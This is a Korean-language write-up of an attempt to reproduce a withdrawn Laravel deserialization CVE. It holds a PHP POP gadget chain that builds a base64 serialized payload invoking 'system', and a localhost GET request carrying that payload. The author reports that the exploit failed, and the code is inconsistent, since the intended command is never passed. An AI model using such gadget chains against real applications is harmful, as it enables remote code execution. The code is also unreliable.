경고 이 취약점은 철회되었습니다.

Override

이것은 CVE-2021-43503에 대한 내용입니다. exp를 통해서는 이 취약점을 재현할 수 없었습니다.

요구 사항

• PHP 7.1.*
• Composer <= 2.2.12

취약점 재현

1. 서비스 시작

   root@kitploit:~

   composer install
   cp .env.example .env
   php artisan key:generate
   php artisan serve # it will listening 8000 port in localhost
   

2. POP 체인 인코딩

   root@kitploit:~

   <?php
   
   namespace Illuminate\Routing{
       class PendingResourceRegistration{
           protected $registrar;
           protected $name;
           protected $controller;
           protected $options = [];
           protected $registered = false;
           public function __construct($b){
               $this->registrar=$b;
           }
       }
   }
   
   
   namespace Illuminate\Queue\Capsule{
       class Manager{
           protected $manager;
           public function __construct($c)
           {
               $this->manager->method=$c;
           }
   
       }
   }
   
   namespace Mockery{
       class ClosureWrapper{
           private $closure;
           public function __construct(){
               $this->closure="system";
           }
       }
   }
   
   namespace{
   
       use Illuminate\Queue\Capsule\Manager;
       use Illuminate\Routing\PendingResourceRegistration;
       use Mockery\ClosureWrapper;
   
       $c=new ClosureWrapper("mkdir hello");
       $b=new Manager($c);
       $a=new PendingResourceRegistration($b);
   
       echo base64_encode(serialize($a));
   }
   

   참고

   urlencode(serialize($a))를 base64_encode(serialize($a))로 대체했습니다.

   그리고 RCE의 성공적인 실행을 반영하기 위해 dir을 mkdir hello로 대체했습니다.

   아래와 같이 출력됩니다(경고 무시):

   root@kitploit:~

   Tzo0NjoiSWxsdW1pbmF0ZVxSb3V0aW5nXFBlbmRpbmdSZXNvdXJjZVJlZ2lzdHJhdGlvbiI6NTp7czoxMjoiACoAcmVnaXN0cmFyIjtPOjMyOiJJbGx1bWluYXRlXFF1ZXVlXENhcHN1bGVcTWFuYWdlciI6MTp7czoxMDoiACoAbWFuYWdlciI7Tzo4OiJzdGRDbGFzcyI6MTp7czo2OiJtZXRob2QiO086MjI6Ik1vY2tlcnlcQ2xvc3VyZVdyYXBwZXIiOjE6e3M6MzE6IgBNb2NrZXJ5XENsb3N1cmVXcmFwcGVyAGNsb3N1cmUiO3M6Njoic3lzdGVtIjt9fX1zOjc6IgAqAG5hbWUiO047czoxMzoiACoAY29udHJvbGxlciI7TjtzOjEwOiIAKgBvcHRpb25zIjthOjA6e31zOjEzOiIAKgByZWdpc3RlcmVkIjtiOjA7fQ==
   

3. HTTP GET으로 테스트:

   브라우저를 통해 http://localhost:8000/?ser=Tzo0NjoiSWxsdW1pbmF0ZVxSb3V0aW5nXFBlbmRpbmdSZXNvdXJjZVJlZ2lzdHJhdGlvbiI6NTp7czoxMjoiACoAcmVnaXN0cmFyIjtPOjMyOiJJbGx1bWluYXRlXFF1ZXVlXENhcHN1bGVcTWFuYWdlciI6MTp7czoxMDoiACoAbWFuYWdlciI7Tzo4OiJzdGRDbGFzcyI6MTp7czo2OiJtZXRob2QiO086MjI6Ik1vY2tlcnlcQ2xvc3VyZVdyYXBwZXIiOjE6e3M6MzE6IgBNb2NrZXJ5XENsb3N1cmVXcmFwcGVyAGNsb3N1cmUiO3M6Njoic3lzdGVtIjt9fX1zOjc6IgAqAG5hbWUiO047czoxMzoiACoAY29udHJvbGxlciI7TjtzOjEwOiIAKgBvcHRpb25zIjthOjA6e31zOjEzOiIAKgByZWdpc3RlcmVkIjtiOjA7fQ==에 접근합니다.

   

   public/ 안에 hello/를 성공적으로 생성하지 못했습니다.